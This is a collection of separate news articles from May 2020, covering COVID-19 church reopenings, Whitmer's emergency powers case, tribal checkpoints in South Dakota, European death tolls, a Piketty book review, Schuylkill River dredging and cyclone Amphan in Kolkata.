Our sanctuary is not huge. If things were normal we would have it pretty full, he said. To think of all those aerosolized droplets going into that space... it is not wise, or safe or the faithful thing to do right now.

His congregation can see as many as 140 people at worship service.

The Pennsylvania Department of Health reported 866 new coronavirus cases Friday, raising the statewide total to 66,258. Across Pennsylvania, 4,984 fatalities have been tied to the coronavirus, including 115 newly reported deaths Friday.

The Diocese of Harrisburg, which represents more than a quarter of a million parishioners across 15 counties, has provided guidelines for parishes in the yellow zone. These include the dispensation from the Sunday obligation to attend Mass. All Mass livestreams will continue.

Masks are required for parishioners attending Mass; and they are to be removed only to receive communion, which will be distributed after Mass not during. Holy water fonts will remain empty; and all hymnals and missals have been removed from the pews. The Sign of Peace will continue to be omitted.

Bishop Ronald Gainer has asked members of the Catholic community to not cross counties when churches begin to reopen, in order to ensure parishioners have primary access to their own parish churches and to respect the governments stay-at-home order.

In addition to Cumberland and York, the counties that opened under the yellow phase on Friday include Adams, Beaver, Carbon, Columbia, Juniata, Mifflin, Perry, Susquehanna, Wyoming and Wayne.

In a news conference Friday, Wolf was asked about President Trumps call for all churches to be opened for the Memorial Day holiday weekend.

The governor has called on church leaders to practice social distancing and on Easter, he encouraged Pennsylvanians to pray and worship at home. But Wolf stressed Friday he has never closed churches.

I think your first mission is to keep your parishioners safe, your congregants safe and thats always been true, so we actually never shut down the religious organizations," Wolf said.

Reeves plans to put in place adjustments to the worship service, including assigning two ushers to distribute hand sanitizer to those who attend the outdoor service.

She will also distribute pre-packaged communion wafer and wine after the service. The wine is prepackaged in a small plastic cup.

Normally its part of the service, Reeves said. We cant have that right now.

Martini added that a number of his congregants are in health care, and their voices encouraging everyone to practice social distancing have had a major impact on his faith community.

That message has gotten through the congregation, he said.

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By Express News Service

NEW DELHI: Union Health Minister Harsh Vardhan on Friday took charge as the chairman of WHO Executive Board for the year 2020-21. He was elected during the 147th session of the Executive Board, in a virtual meeting replacing Dr Hiroki Nakatani of Japan.

Soon after taking the charge, Vardhan called for further strengthening of global partnerships to re-energize interest and investment in global public health in the wake of Covid-19 pandemic. An ENT specialist by training, Vardhan paid tribute to the lakhs of people who have lost their lives due to the ongoing global pandemic.

I feel deeply honoured to have the trust and faith of all of you. India, and all my countrymen, too, feel privileged that this honour has been bestowed upon us, he said.

Acknowledging that this is a great human tragedy and the next two decades may see many such challenges, he added that all these challenges demand a shared response, because these are shared threats requiring a shared responsibility to act.

Vardhan also said that while this is the core philosophy of the alliance of WHO member nations, it needs a greater degree of shared idealism of nations.

The pandemic has made humanity acutely aware of the consequences of ignoring the strengthening and preparedness of our healthcare systems, said Vardhan. In such times of global crisis, both risk management and mitigation would require further strengthening of global partnerships to re-energize interest and investment in global public health.

He also underlined the need for higher commitments in respect of diseases that have plagued humankind for centuries, collaborations for supplementing each other by pooling of global resources, an aggressive roadmap to curtail deaths from diseases that can be eliminated, a fresh roadmap to address global shortages of medicines and vaccines and the need for reforms.

I am sure that constant engagement with member states and other stakeholders will reinforce reforms and help accelerate progress towards achieving sustainable development goals and universal health coverage with the most productive, efficient, and targeted utilization of resources, he added.

I will put myself to work to realize the collective vision of our organisation, to build the collective capacity of all our member nations, and also build a heroic collective leadership.
DETROIT (AP)  Gov. Gretchen Whitmer prevailed Thursday in a high-stakes challenge from Republican lawmakers who sued over her authority to declare emergencies and order sweeping restrictions during the coronavirus outbreak.

A 1945 law cited by Whitmer, a Democrat, is not limited to regional emergencies and can have no end date, said Judge Cynthia Stephens of the Court of Claims.

It would take a particularly strained reading of the plain text of the (law) to conclude that a grant of authority to deal with a public crisis that affects all the people of this state would somehow be constrained to a certain locality, Stephens said.

The claims are meritless, she said.

The lawsuit by the House and Senate grew out of frustration with Whitmers one-size strategy to stop the spread of the coronavirus by keeping people at home statewide and shutting down businesses, even if regions far from the Detroit area were not harmed as much by the virus or COVID-19.

The Legislature did not extend Whitmers emergency declaration in late April but she acted anyway, covering her bases by using the 45 law and a 1976 statute.

The Legislature said Whitmer violated the 76 law, which says lawmakers get a role in emergency declarations after 28 days. Indeed, the judge said the governor cant use that law to extend emergencies without input from lawmakers. But Whitmer won the case anyway.

Stephens decision was a third time that a Court of Claims judge ruled in the governors favor. The other lawsuits were brought by residents, a business owner and a new group that has organized protests at the Capitol.

The House and Senate plan to appeal. Republican leaders took some comfort that the judge said Whitmer cant use the 76 law to unilaterally make emergency declarations.

The governor was pleased with the overall result.

She will continue to do what shes always done: take careful, decisive actions to protect Michiganders from this unprecedented, global pandemic, Whitmers office said in a written statement.

Meanwhile, Whitmer has been rolling back restrictions on the economy as new virus cases and deaths slow down. Bars and restaurants in northern Michigan can reopen Friday morning, and a weekslong ban on certain medical procedures will be lifted next week.

While a stay-home order remains in effect, groups of 10 people now can gather.

Similar legal challenges like the one in Michigan have occurred in other states. In Wisconsin, the Supreme Court said the Democratic governors health director exceeded her authority by extending a stay-home order without working with Republicans in the Legislature.

Restrictions by some local Wisconsin governments, however, still are in effect and are a target of a lawsuit in federal court.
OFX Daily Market News





Posted by OFX



USD  United States Dollar

The U.S. dollar has advances 0.42 percent versus a basket of majors currencies, and it has gained 0.53 versus the Euro. The U.S. is considering economic penalties for China in relation to their plan to enact sweeping national security legislation in Hong Kong. White House economic aide Kevin Hassett said on CNN, Were absolutely not going to give China a pass. All the options are on the table .. If Hong Kong stops being Hong Kong, the open place it is, then it is no longer going to be the financial center that it is  and thats going to be very costly to China and the people of Hong Kong. So, yeah, I think it is a very difficult, scary move and that it is something that people need to pay close attention to.

Covid-19 continued to take jobs in every US state in April. The largest deterioration in the labour market occurred in Michigan, Vermont, and New York. In Michigan, payrolls have plummeted by 22.8 percent (a little over 1 million) to to 3.4 million since the prior month. Meanwhile, the unemployment rate jumped to 14.7 percent, the highest in government records dating back to the 1940s. The unemployment rates in 43 states were the highest on records dating back to 1976. The jobless rates in Nevada and Hawaii exceeded their previous records by more than 10 percentage points each.

Key Movers

Canadas March retail sales, as expected, showed a sharp decline in most retail categories, though sales excluding the auto component were a beat. The Canadian dollar stayed lower versus the Mexican Peso and versus the Pound by 0.16 percent.

Crude oil also was under pressure when the U.S. Oil Fund said it is unable to buy more oil futures following intervention by regulators. The constraints are a flag that the fund has been pressured to limit its size after growing rapidly during the oil price crash.

In overnight trading, New Zealand announced some new stimulus spending after retail sales fell to -0.7 percent versus the previous months 0 percent.

Story continues

Japan held an emergency meeting to deliver its monetary policy statement, launching a new lending program to support small businesses, but it did not commit to major stimulus.

UK Retail Sales shows no signs of recovery just yet with the latest figure coming in at -18.1 percent.

Expected Ranges

USD/CAD: 1.4000  1.4036 

EUR/USD: 1.0863  1.0922 

GBP/USD: 1.2161  1.2214 

AUD/USD: 0.6484  0.6535 

NZD/USD: 0.6068  0.6102 





Posted by OFX

The post The Greenback rose as a safe haven after relations between the U.S. and China have deteriorated over Hong Kong. appeared first on .
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More than 3,300 people have died in California during this pandemic.

Today, L.A. reached a sad milestone: More than 2,000 people have died from COVID-19 in Los Angeles County.

LAist will be regularly sharing the stories of some of those we've lost.

We begin today with the story of Gaspar Gomez, of Pacoima. Gaspar was a father, an immigrant and one of the first known day laborers to die of COVID-19 in L.A. County. He was 51 years old.

Gaspar Gomez left Mexico City and headed to Los Angeles when he was just 16 years old. He didn't have much money, but he did have a big personality and an unwavering work ethic.

He also had the love of his young life with him, his 15-year-old paramour and future wife, Maria, who was his ride-or-die all the way to el otro lado.

The journey, Maria would later recall to their children, was difficult, but Gaspar made it through with his trademark smile and infectious laughter.

Once in L.A., he quickly found work on a construction crew. He helped build and remodel several homes and other buildings in the San Fernando Valley.

As his daughter Lucia Gomez, 30, remembers, he was good at the work he did and enjoyed making things with his hands. Finding work wasn't always easy, and his life was seldom so. Still, Gaspar smiled.

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"He was just so happy even if life was throwing rocks at him," Lucia remembered of her father. "He was still smiling, still looking at the positive side."

Gaspar's marriage to Maria did not last, but they had four beautiful children. The kids would spend summers with their dad, an avid lover of dancing and backyard carne asadas.

"If a good song came on, he would stomp his foot with so much happiness," Lucia recalled. "And when the song ended he would tap and sing 'tan tan' every single time."

She remembers her dad taking them to a restaurant in Van Nuys called La Perla.

"It was more of an adult place, of course," Lucia said, "but they had a little dance floor and he loved it because they had dancing."

Gaspar's favorite musicians were Los Originales de San Juan and Chalino Sanchez. He especially loved to dance zapateado to Chalino's "El Pavido Navido."

Not long after the divorce, Gaspar went through a deeply sad period and he didn't see his children for three years. But Lucia said he battled his way out of the darkness, thanks in large part to his second wife, Elba.

"She really changed his life," Lucia said. "She really got him to follow the correct path again and be a better person."

Gaspar and Elba raised two more daughters of their own in Pacoima, where Gaspar continued working, smiling and dancing, even during the pandemic.

Lucia isn't sure how or where her dad contracted the virus.

But on April 14, Gaspar started feeling sick. Twenty-four hours later, he was admitted to the hospital with a high fever and difficulty breathing.

He fought the virus for 20 long days in the hospital until his doctors saw no more hope, and his family finally decided it was time to let him go.

His condition wasn't improving. His doctors told Lucia and Elba that it was just a matter of time: They could let him go now, in peace, or he could hang on a little longer, in pain and with no chance of recovery.

"It was hard for Elba to make that decision. She just couldn't make it," Lucia recalled. "And I had to make a decision of saying it's best that we let him go because it's selfish of us to keep him like that, you know? I didn't want him to be in more pain and die in pain. He doesn't deserve that. That's not how I want to remember him."

Gaspar died on May 3, 2020.

He is survived by his wife Elba; daughters Lucia, Maria, Stacie, Janette and Sara; and by his son, Cristian.

The family has established a gofundme page for funeral expenses.
Source: Xinhua| 2020-05-22 05:24:17|Editor: huaxia

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People sit around a fountain at Trafalgar Square in London, Britain, on May 17, 2020. (Photo by Tim Ireland/Xinhua)

-- UK COVID-19 deaths top 36,000 as gov't vows to deliver virus trace system;

-- Italy's death toll from coronavirus up by 156 to 32,486;

-- France's coronavirus-linked deaths at 28,215;

-- Spain's daily numbers of deaths, infections decrease further.



BRUSSELS, May 21 (Xinhua) -- The following are the latest developments of the COVID-19 pandemic in European countries.

LONDON -- Another 338 COVID-19 patients have died in Britain as of Wednesday afternoon, bringing the total coronavirus-related death toll in the country to 36,042, the Department of Health and Social Care said Thursday.

The figures include deaths in all settings, including hospitals, care homes and the wider community.

As of Thursday morning, 250,908 people in Britain have tested positive, said the department.

Visitors line up to enter Galleria Borghese in Rome, Italy, May 20, 2020. (Xinhua/Cheng Tingting)

ROME -- A further 156 COVID-19 patients had died in the past 24 hours in Italy, bringing the country's toll to 32,486, out of total infection cases of 228,006, according to fresh figures on Thursday.

Nationwide, the number of active infections dropped by 1,792 to 60,960 cases, according to the Civil Protection Department.

Of those who tested positive for the new coronavirus, 640 are in intensive care, 36 fewer compared to Wednesday, and 9,269 are hospitalized with symptoms, down by 355 from Wednesday.

People enjoy leisure on the banks of the Seine in Paris, France, on May 17, 2020. (Photo by Aurelien Morissard/Xinhua)

PARIS -- France on Thursday saw the death toll from the coronavirus increasing to 28,215 with 83 new deaths in the last 24 hours, lower than Wednesday's 110, according to figures released by the country's Health Ministry.

Fatalities recorded in hospitals rose by 58 to 17,870, while 25 succumbed to COVID-19 at nursing homes, bringing the total to 10,345.

In a sign that pressure on the French hospital system continued to ease, the number of people hospitalized with coronavirus infection declined by 358 to 17,583. Some 1,745 patients were in critical condition requiring life support, down by 49 in the last 24 hours.

An operator modifies the circulation of vehicles to widen the sidewalks and ensure social distancing on pedestrians in Barcelona, Spain, May 19, 2020.(Barcelona City Hall/Handout via Xinhua)

MADRID -- Spanish health authorities on Thursday confirmed further decreases in the numbers of new deaths and cases of COVID-19 infection.

Forty-eight people had died of COVID-19 in the 24-hour period from midnight on Tuesday to midnight on Wednesday, down from the 95 deaths reported in the previous 24-hour span, taking the death toll in Spain to 27,940.

It is the fifth consecutive day that the daily death toll has been below 100. It was also the lowest daily reading since the State of Alarm was introduced in Spain on March 15, but the figure has to be viewed with caution as it doesn't include Catalonia, due to problems of validating data in the region.
In honor of being the voice of our Unci Emma Waters, 89 years old, Oglala Lakota Tribal Elder - here is her message to Governor Kristi Noem!!!! Standing guard w the Border Monitoring (East Approach, Allen S.D.) Keep Our Border Patrol here, keeping safe against Covid19!!! Oglala Lakota Nation, Stand Strong! This is our land!!! Since March 13, 2020 our family went into Lockdown - no visitors, we made homemade masks, smudged night and day, boiled water, boiled medicine, protected our homes with prayer, prayed for the people...keeping our Unci safe, our children safe but there comes a time when enough is enough so on this day May 10, 2020 with the threat from Gov Kristi Noem...we stood behind our Unci as she made her stand to support the Border Monitors who have been keeping her and the Oglala Lakota Nation protected!

EAGLE BUTTE -- The Cheyenne River Sioux and Oglala Sioux tribes are refusing to bow to an order South Dakota Gov. Kristi Noem sent the two tribes on May 8. The order states the tribes must remove coronavirus traffic checkpoints from reservation borders or face legal action.

The top elected leaders of the states largest tribes argue that Constitutional and treaty law establish their tribal sovereignty and authority to protect their people by operating the roadside stops within their boundaries.

I regretfully decline your request, Cheyenne River Sioux Chair Harold Frazier said in an immediate response letter to Noem. I stand with our Councilman Ed Widow that the purpose of our actions is to save lives rather than save face. He added, We will not apologize for being an island of safety in a sea of uncertainty and death.

The Cheyenne River Sioux Sioux and the Oglala Sioux Tribe are refusing to bow to an order to take down #Coronavirus checkpoints on their reservations. What's a Republican state governor to do? #HonorTheTreaties #COVID19 #SouthDakota #Sovereignty https://t.co/Iyu58iJsWS  indianz.com (@indianz) May 19, 2020

The checkpoints are necessary partly due to South Dakotas slow and ineffective response to the Covid-19 pandemic, according to Oglala Sioux Tribal President Julian Bear Runner.

South Dakota is one of five states that hasnt issued a shelter-in-place mandate, despite a steady increase in confirmed cases of Covid-19.

Due to this lack of judgement and planning of preventative measures ... , the Oglala Sioux Tribe has adopted reasonable and necessary measures to protect the health and safety of our tribal members and other residents of the Pine Ridge Indian Reservation, Bear Runner wrote to Noem in another May 8 letter.

The governors missive threatened: If the checkpoints are not removed within the next 48 hours, the state will take necessary legal action. However, at her weekday pandemic media briefing three days later, she mentioned no specific action in answer to reporters questions about the issue.

Unci Emma Waters, 89 years old, braved wind and snow to support coronavirus checkpoints on the Pine Ridge Reservation in South Dakota. Photo courtesy Anna Halverson

Grassroots response to her order was swift and concerted, as tribal members joined their law enforcement at checkpoints in showing solidarity with the public safety measure.

At the Allen eastside checkpoint on Pine Ridge Indian Reservation, the Mato Ota Tiospaye mounted horseback to escort their matriarch and grant her Mothers Day wish to deliver a statement to Noem.

Despite freezing wind and snow, 89-year-old Unci Emma Waters pulled up her wheelchair with a handprinted sign reading, This is our land! She spoke through a handmade mask into a microphone to say, This is our land, so you cannot say anything!

Her granddaughter stood beside her, also masked against contagion, to read a longer prepared statement, citing years of case law to establish that the Oglala Sioux Tribe is a sovereign nation. It was shared on social media with the message:

Keep our border patrol here, keeping safe against Covid19! Oglala Lakota Nation, stand strong! This is our land! Since March 13, 2020 our family went into lockdown -- no visitors. We made homemade masks, smudged night and day, boiled water, boiled medicine, protected our homes with prayer, prayed for the people...keeping our unci safe, our children safe.

But there comes a time when enough is enough, so on this day May 10, 2020, with the threat from Gov. Kristi Noem ... we stood behind our unci as she made her stand to support the border monitors who have been keeping her and the Oglala Lakota Nation protected!

"Dear President Trump": First Kristi Noem made a legal threat. Now Republican @govkristinoem of #SouthDakota is asking the White House for help in taking down #Coronavirus checkpoints on two reservations. #COVID19 #Sovereignty #HonorTheTreaties https://t.co/I7j8FPVU62  indianz.com (@indianz) May 21, 2020

Governor Noem and Bureau of Indian Affairs Director Darryl LaCounte have asserted that the checkpoints must be removed because they are in violation of a BIA memorandum declaring that tribes must consult with state officials before closing or restricting travel on state or U.S. highways.

Both Chairman Frazier and President Bear Runner insist they have not closed any roads and are using the checkpoints to mitigate and track the spread of the coronavirus.

Non-residents whose travel is considered non-essential are advised to pass through the reservation without stopping, wrote President Bear Runner to Noem. It is not our intent to deny them passage through the reservation, including on U.S. Highway 18 and State Highways 44, 391, and 407.

At the heart of the debate is the scope of tribal authority on state and federal highways that run through tribal territory. Chairman Frazier and President Bear Runner argue that the law supports the tribes.

Contact Justine Anderson at justinekanderson@gmail.com

Copyright permission Native Sun News Today

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Extension of detention of ex-senator Arashukov, his father overturned

 RAPSI, Vladimir Burnov

14:40 22/05/2020

MOSCOW, May 22 (RAPSI)  The First Appeals Court of General Jurisdiction on Friday overturned an order of the Moscow City Court extending detention of ex-senator Rauf Arashukov and his father Raul Arashukov until July 24, attorney Vladimir Postanyuk told RAPSI.

According to the lawyer, the court agreed with the defense arguments. When choosing a restrictive measure Raul Arashukov was charged with organizing a criminal gang with an aim to embezzle gas worth 32 billion rubles (about $450 million). However, this sum was not included in final charges. There are new counts, but firstly the 32-billion-ruble embezzlement case must be dropped and then a hearing on a restrictive meaure as part of a new case must be held, Postanyuk said.

The court also reversed extension of detention of other defendant in the gas embezzlement case, deputy CEOs of Gazprom Gazoraspredelenie Stavropol Nikolay Romanov and Zamir Borsov and metrolog of the companys office in Yessentuki Igor Kaishev.

Rauf Arashukov was arrested and detained in late January 2019. The upper house of parliament stripped him of immunity and gave consent to his prosecution upon an application by the Prosecutor General. He stands charged with murder, participation in a gang and witness tampering.

According to investigators, ex-Federation Council member was involved in the murder of a Karachay-Cherkessia public youth movements deputy chairman Aslan Zhukov and the republican presidents advisor Fral Shebzukhov in 2010. Moreover, investigators believe that the former senator is implicated to natural gas embezzlement from Gazprom company.

He has pleaded not guilty.

In April 2019, Moscows Basmanny District Court ordered the seizure of assets belonging to Arashukov. The seizure has been applied to monetary funds, land plots, cars and residential houses. In May, the Federation Council terminated senators powers of Rauf Arashukov charged with murder and participating in a gang. According to the Federation Councils Deputy Chair Yury Vorobyev, an upper houses commission revealed that Arashukov had not submitted his and his relatives tax declarations in time.

His father Raul Arashukov was accused in a 30-billion-ruble natural gas embezzlement case ($455 million). He was detained by court in February. Moreover, a court placed branch manager of Gazprom Mezhregiongaz Stavropol Guzer Khashukoyev, CEO of Gazprom Gazoraspredelenie Astrakhan and Gazprom Mezhregiongaz Astrakhan Ruslan Arashukov, first deputy CEO of Gazprom Gazoraspredelenie Stavropol Nikolay Romanov and CEO of Gazprom Mezhregiongaz Stavropol Igor Travinov in jail for the same term.

According to investigation, all of them are involved in gas embezzlement from Gazprom company. The top managers have been allegedly stealing gas from the state-run energy giant over a period of several years.

Raul Arashukov pleads not guilty and calls the case against him fabricated.
Capital and Ideology

By Thomas Piketty

Belknap/Harvard. 1,093 pp. $39.95

---

The Democratic Party is the most important political party in the world today. It is the only organization in a position to defend what was once the world's flagship democracy and economic power from a president who has re-engineered his own party to justify racism, misogyny and xenophobia. Yet the party of the donkey is hardly up to the task. Over the past decade, as Republicans have further embraced an ideology of resentment unmoored by facts, Democrats have lost hundreds of seats in state legislatures, 22 seats in the House of Representatives and control of the Senate - while losing the White House to the most toxic candidate in history.

In his new book, "Capital and Ideology," economist Thomas Piketty explains why. The Democratic Party - like left-leaning parties throughout the world - failed to come up with a compelling response to the global conservative resurgence of the 1980s. Like New Labour in Britain and the Socialist Party in France, it abandoned the working-class voters who were once its base: "Improving the lot of the disadvantaged ceased to be its main focus. Instead, it turned its attention primarily to serving the interests of the winners in the educational competition." By 2016, according to the post-election surveys that Piketty analyzes in depth and across several countries, the Democrats were the party of not just the highly educated but even the highly paid.

The Western world stands at a crossroads. For most of the past century, politics in prosperous democracies was primarily oriented by the division between rich and poor. Today, that axis is being overshadowed by clashes over national or ethnic identity, between anti-immigrant nativists and pro-immigrant cosmopolitans. Examining the data over several countries and decades, Piketty identifies the turn toward identitarian politics as a direct consequence of the left-wing parties' conversion to market capitalism: "The disadvantaged classes felt abandoned by the social-democratic parties (in the broadest sense) and this sense of abandonment provided fertile ground for anti-immigrant rhetoric and nativist ideologies to take root."

But the future is not preordained. Piketty's earlier blockbuster, "Capital in the Twenty-First Century," was best known for its claim that r > g: that the rate of return on investments (r), in most periods of history, is higher than the rate of economic growth (g), and the very rich will become inexorably richer - as has indeed been occurring for most of our lifetimes. One of the most trenchant critiques of that book was that r > g is not an ineluctable law of nature but a result of specific economic and political institutions. Change the institutions, and the course of history changes.

"Capital and Ideology" is Piketty's response. The book is both a history of the world and a theory of history. Every society is unequal, and therefore constitutes an "inequality regime" maintained not solely by force but also by ideology: "Each inequality regime is associated with a corresponding theory of justice. Inequalities need to be justified; they must rest on a plausible, coherent vision of an ideal social and political organization." Most of the book is a history of how those ideologies have helped bolster social structures characterized by extreme inequality, from feudal and slave societies through colonial regimes to the hypercapitalist world of today.

Where Marx consigned ideology to the "superstructure" of a system driven by economic class conflict, Piketty claims for it a central role. At key points in history when one regime breaks down, he argues, what comes next depends on the ability of different political actors to formulate a new vision of how society should be organized.

Therein lies today's challenge. After the widespread dislocation caused by the financial crisis of 2008, and with increasing awareness of the scale of global inequality (thanks largely to Piketty and his collaborators), the prevailing economic orthodoxy - that market competition is the source of all good things, and public policy must be restricted to making markets work better - rings hollow to many people left on the wrong side of the income distribution. The bleakly unequal impact of the coronavirus pandemic on rich and poor may reinforce that discontent.

In short, the time is ripe for a new vision of society. After his earlier book's seemingly pessimistic message - that wealth naturally tends to concentrate - the Piketty of "Capital and Ideology" proclaims himself an optimist. To overcome both extreme inequality and virulent nationalism, he calls for a "social-federalist" ideology combining economic justice and cross-border cooperation, and for an economic order that embraces the ideas of equal investment in each young person's education, worker participation in management, a safety net guaranteeing everyone's basic needs and circulation of capital through progressive taxation.

But who will champion this cause? In the United States and elsewhere, the onetime parties of the left responded to the conservative revolution with a chorus of "me, too." Since the rise of the New Democrats in the early 1990s, the Democratic establishment has sworn its fealty to market competition, the private sector, small government, fiscal austerity and financial deregulation. Beginning with Bill "The era of big government is over" Clinton, party leaders actively repudiated what they saw as an embarrassing legacy of industrial unions, welfare programs and redistribution. Having repeated for decades that public policy must bow to the iron laws of economics, the Democrats "remain unable even today to perceive alternatives to the situation they themselves created."

The result is that economic elites in the United States have their choice of two party ideologies: one favoring educational achievement and rationality, the other entrepreneurialism and wealth. Both assume the primacy of competitive markets and justify their outcomes as the natural workings of a meritocratic system. Compared with earlier belief systems that conferred advantages based on birth or race, this shared ideology of meritocracy has the distinct advantage of justifying inequality as a pure product of natural (market) forces operating on a presumed starting point (however fictional) of equal opportunity.

But, as Piketty writes, "if redistribution between the rich and the poor is ruled out . . . then it is all but inevitable that political conflict will focus on the one area in which nation-states are still free to act, namely, defining and controlling their borders." And so, in the United States, a pro-market party that claims to defend rural, white, Christian America faces off against a pro-market party that embraces the image of a diverse, cosmopolitan, urban America. To the half of the population that has known only stagnant incomes and increasing economic insecurity, one party offers modestly beneficial economic policies bestowed by a technocratic elite; the other promises to restore their faded glory by winning trade wars and expelling immigrants.

In Piketty's story, now is the time to build a new coalition on the basis of a new ideology. In the United States, he nods approvingly at proposals by figures such as Bernie Sanders and Elizabeth Warren to increase taxes on the rich, implement a wealth tax and establish Medicare-for-all. Since the publication of the book, however, the Democratic primary electorate rejected its progressive wing, betting that Barack Obama's vice president, Joe Biden - a man who promised wealthy campaign donors that "nothing would fundamentally change" - stands a better chance of defeating President Trump than a full-throated call for economic justice.

Perhaps. But as long as the Democratic Party muddles along with the same old ideology of market-driven growth and supposed equality of opportunity, our political system will remain defined by two parties dominated by competing segments of the economic elite. The regime of inequality under which we live will not fall until one of those parties decides to stand up for economic justice and the 99%, not hypercapitalism and the 1%. And you can bet it won't be the Republican one.

---

Kwak is a professor at the University of Connecticut School of Law and the chair of the Southern Center for Human Rights. His most recent books are "Take Back Our Party: Restoring the Democratic Legacy" and "Economism: Bad Economics and the Rise of Inequality."
Boat House Row along the Schuylkill river in Philadelphia, Pa., Friday, May 22, 2020. A Bridgeton, N.J., company will begin dredging miles of the Schuylkill above Fairmount Dam June 1 to remove 60,000 cubic yards of sediment that was creating shallow lanes and hazards for rowers. It is the culmination of a years-long effort of rowing organizations to raise the $4.5 million needed for the project. Read more

On June 1, a Bridgeton, N.J., company will begin dredging miles of the Schuylkill above Fairmount Dam to remove 60,000 cubic yards of sediment that has created hazards for rowers and threatened famed regattas that use the storied racecourse.

In preparation, the docks along Boathouse Row have been removed for the first time in a century.

The Schuylkill Navy, an association for amateur rowing clubs, had been racing to fund the dredge to avoid having regattas canceled because of sediment buildup. Though the effort began years ago, it ran into another block this spring with the coronavirus pandemic shutdown.

We had so many challenges to mobilize for this job, eight years in the making, then came new challenges, said Bonnie Mueller, vice commodore of the Schuylkill Navy. It was a seemingly insurmountable task of pulling together the $4.5 million.

The Schuylkill Navy announced in May 2019 that it had raised the funds from the city of Philadelphia, the state, local universities that have rowing clubs, the William Penn Foundation, and the rowing and paddling communities, as well as gifts from the public.

 READ MORE: Clogged with muck, shallow Schuylkill is putting rowing, regattas at risk

In December, the U.S. Army Corps of Engineers Philadelphia District, which is managing the project, awarded a contract to Atlantic Subsea Inc. to dredge portions of the non-tidal Schuylkill above Fairmount Dam.

Atlantic Subsea will dredge roughly three miles of the Schuylkill in stages including in front of Boathouse Row, a separate rowing lagoon, and the national racecourse farther upstream near the Strawberry Mansion Bridge. The sediment will be pumped via pipe to barges downstream, south of the I-676 bridge. The barges will then dispose of the dredged material at Fort Mifflin.

The dredging will start each weekday at 7 a.m. and is expected to last through the end of the year.

Mueller said coronavirus shutdowns issued by Gov. Tom Wolf on April 1 delayed the project for a few weeks as rowing clubs had to figure out a way to disassemble large docks from Boathouse Row while adhering to state orders.

Atlantic Subsea also had to suspend preparation work, such as laying pipe on the river floor to move the sediment. The project was eventually granted an exemption by Wolf.

All docks along Boathouse Row were removed by April, Mueller said. She noted that some clubs will use the removal as a way to either improve docks or replace them.

The dock removal gave organizers their first birds-eye view at how clogged the river had become, Mueller said.

We saw overhead pictures of Boathouse Row when we took out the docks, she said. We were like, Oh my gosh. The docks were breaking in places because the earth was pushing them up.

A typical scull used by rowers is 14 inches deep, with about 10 inches sinking below the water. At some docks, sediment buildup was so severe that water got as shallow as 10 inches. That put regattas in jeopardy and was also causing hazards for more casual boaters.

The Schuylkill was last dredged in 1999, when 30,000 cubic yards of silt were removed over several months. Since then, silt has returned, layering on the bottom of the river and creating shallow waters in Lanes One and Six of the racecourse upstream from Boathouse Row. For fair competition, all lanes should be of equal depth, but some lanes were as low as 2-feet deep, while others ran 10-feet deep.

Though the course did not get to the point that it was declared unfair, rowers were fearful that regattas would be moved.

Regattas are a major economic driver for the city. The Jefferson Dad Vail Regatta, the largest collegiate regatta in the U.S., hosts more than 100 colleges and universities and draws thousands of athletes and fans. The Stotesbury Cup, the largest high school rowing regatta in the world, draws 6,000 athletes, and thousands of spectators.

Both events, usually held in May, were canceled and will return in 2021. All regattas through the summer have also been canceled.

If regattas are able to resume in the fall, Mueller said, her organization will be able to work around the dredging project.

It was always the case that the regattas and rowing community were going to have to work around the dredging," Mueller said, and not the dredging working around the rowing.
'For around five hours the storm, reportedly the strongest one ever recorded in the Bay of Bengal, that mother of many a deathly vortex, shook Kolkata like a toddler playing with a rattling toy,' observes Debashish Chatterjee.

IMAGE: Municipal workers clear a blocked road in Kolkata in the aftermath of cyclone Amphan. Photograph: Ashok Bhaumik/PTI Photo

The helmeted bodies of two young men float in knee-deep water in Howrah.

Books, hundreds of them, float through a flooded College Street.

Uprooted huge trees, thousands of them, branches akimbo, turn roads into roadblocks, the mess of wires of civilisation turning them into booby traps.

Debris and tragedy are strewn as far as the eye can go.

These were scenes from West Bengal's capital and its nearby areas a day after cyclone Amphan ran a 400km-wide sledgehammer through West Bengal and Bangladesh while the 'national Indian' television channels were busy investigating just how many buses Priyanka Gandhi had -- or had not -- arranged to take back stranded labourers from Uttar Pradesh.

IMAGE: Trees and poles were uprooted in Kolkata during the landfall of cyclone Amphan. Photograph: ANI Photo

For around five hours the storm, reportedly the strongest one ever recorded in the Bay of Bengal, that mother of many a deathly vortex, shook Kolkata like a toddler playing with a rattling toy.

Windows of houses smashed.

Asbestos sheets and tiles of roofs flew like rockets.

Power lines were turned into knots, substations lit up, transformers exploded like Diwali crackers.

Lights flickered and gave up.

Phones, both mobile and landline, fell silent.

Through the darkness, there was only the howling of the wind.

You could clearly make out when the calm of the eye of the storm passed through Kolkata, and when the tail lashed.

IMAGE: Civil defence volunteers remove an uprooted tree in Burdwan after cyclone Amphan struck. Photograph: ANI Photo

West Bengal Chief Minister Mamata Banerjee, widely regarded as the most street-smart politician in India at present, broke down on television while assessing the damage Amphan had done to the state.

She compared it to a disaster that struck the region in 1737, and said unless the Centre helped the state would be in neck-deep water.

Prime Minister Narendra Damodardas Modi, widely regarded as the man with the sharpest news sense since Paul Julius Freiherr von Reuter, rushed to Bengal himself after social media erupted over his 23-hour silence on the Amphan disaster.

After touring affected areas by helicopter, he also said he was being driven to tears at the devastation and announced a relief package of Rs 1,000 crore -- the amount the chief minister had pegged the cost of reconstruction at.

IMAGE: A water-logged fuel station in Kolkata. Photograph: Rupak De Chowdhuri/Reuters

Dilip Ghosh, the West Bengal BJP chief, promptly added while speaking to Bengali TV channels that the Centre should closely monitor how the money is spent, lest the ruling Trimaool make hay while the water plunders.

Assembly elections in West Bengal are due in 2021, and a large part of the Bengali bhadralok are already banging their bartans in their balconies in anticipation of poriborton (change) in the near future.

Meanwhile, back to the present, large swathes of West Bengal have been plunged into darkness, both literal and allegorical.

Officials are getting information from places like the Sunderbans -- the mangrove sentinel of nature that acts as a natural barrier to storms from the Bay of Bengal -- through satellite phones and HAM radio.

More than 500,000 people were evacuated from most-risk areas in West Bengal before the storm struck.

Millions of people have had their homes blown away or damaged.

Arranging food and water for them will be a mammoth task. Specially because the lockdown to ward off the novel coronavirus pandemic has already frayed supply chains.

Roofs of factories have been stripped, trees and rain have damaged machinery, and livelihoods have been turned off.

River embankments have been smashed to smithereens, and large parts of four districts -- Howrah, Kolkata, South and North 24 Parganas -- are submerged.

IMAGE: Villagers walk on a road during a storm at Kakdwip near the Sunderbans in the South 24 Parganas district of West Bengal. Photograph: PTI Photo

The death toll is hovering around 80, but information is hard to get and near impossible to verify.

